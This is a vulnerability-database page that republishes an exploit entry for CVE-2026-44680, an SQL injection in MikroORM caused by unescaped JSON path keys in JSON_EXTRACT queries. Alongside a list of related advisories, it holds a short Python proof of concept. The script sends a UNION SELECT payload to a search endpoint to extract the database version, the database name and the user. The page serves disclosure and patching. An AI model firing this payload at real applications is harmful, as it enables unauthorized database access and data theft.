Lucene search
+L

📄 MikroORM 7.0.13 SQL Injection

🗓️ 29 May 2026 00:00:00Reported by cardosourceType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 88 Views

MikroORM vulnerable to SQL injection via unescaped JSON path keys in JSON_EXTRACT queries.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-44680
26 May 202616:49
attackerkb
githubexploit
GithubExploit
Exploit for CVE-2026-44680
20 Jul 202617:46
githubexploit
circl
Circl
CVE-2026-44680
20 Jul 202620:00
circl
cnnvd
CNNVD
MikroORM SQL注入漏洞
26 May 202600:00
cnnvd
cve
CVE
CVE-2026-44680
26 May 202616:49
cve
cvelist
Cvelist
CVE-2026-44680 MikroORM: SQL injection via runtime-controlled identifiers and JSON-path keys
26 May 202616:49
cvelist
exploitdb
Exploit DB
MikroORM 7.0.13 - SQL Injection
29 May 202600:00
exploitdb
euvd
EUVD
EUVD-2026-31893
26 May 202616:49
euvd
github
Github Security Blog
MikroORM has SQL injection via runtime-controlled identifiers and JSON-path keys
8 May 202619:17
github
nvd
NVD
CVE-2026-44680
26 May 202617:16
nvd
Rows per page
# Exploit Title: MikroORM   7.0.13 - SQL Injection 
    # Google Dork: N/A
    # Date: 2026-05-27
    # Exploit Author: cardosource
    # Vendor Homepage: https://mikro-orm.io/
    # Software Link: https://github.com/mikro-orm/mikro-orm
    # Version: @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13
    # Tested on: Docker / Debian Bookworm / Node.js 18 / MariaDB 10.x
    # CVE: CVE-2026-44680
    # Advisory: https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
    
    """
    Description:
    The vulnerability exists because MikroORM fails to properly escape
    runtime-controlled JSON path keys when building JSON_EXTRACT queries.
    
    The attacker can break out of the JSON path context and inject arbitrary SQL.
    
    Affected API pattern:
    
    em.find(Entity, {
        jsonColumn: {
            [userControlledKey]: value
        }
    })
    
    
    By injecting crafted JSON-path keys, it becomes possible to execute
    UNION SELECT statements and extract arbitrary database information.
    """
    
    import requests
    import json
    
    url = "http://localhost:3000/api/users/search"
    
    payload = {
        "filterField": "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- ",
        "filterValue": "x"
    }
    
    headers = {
        "Content-Type": "application/json"
    }
    
    response = requests.post(url, json=payload, headers=headers)
    
    print(f"Status: {response.status_code}")
    print(json.dumps(response.json(), indent=2))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.6
EPSS0.0145
SSVC
88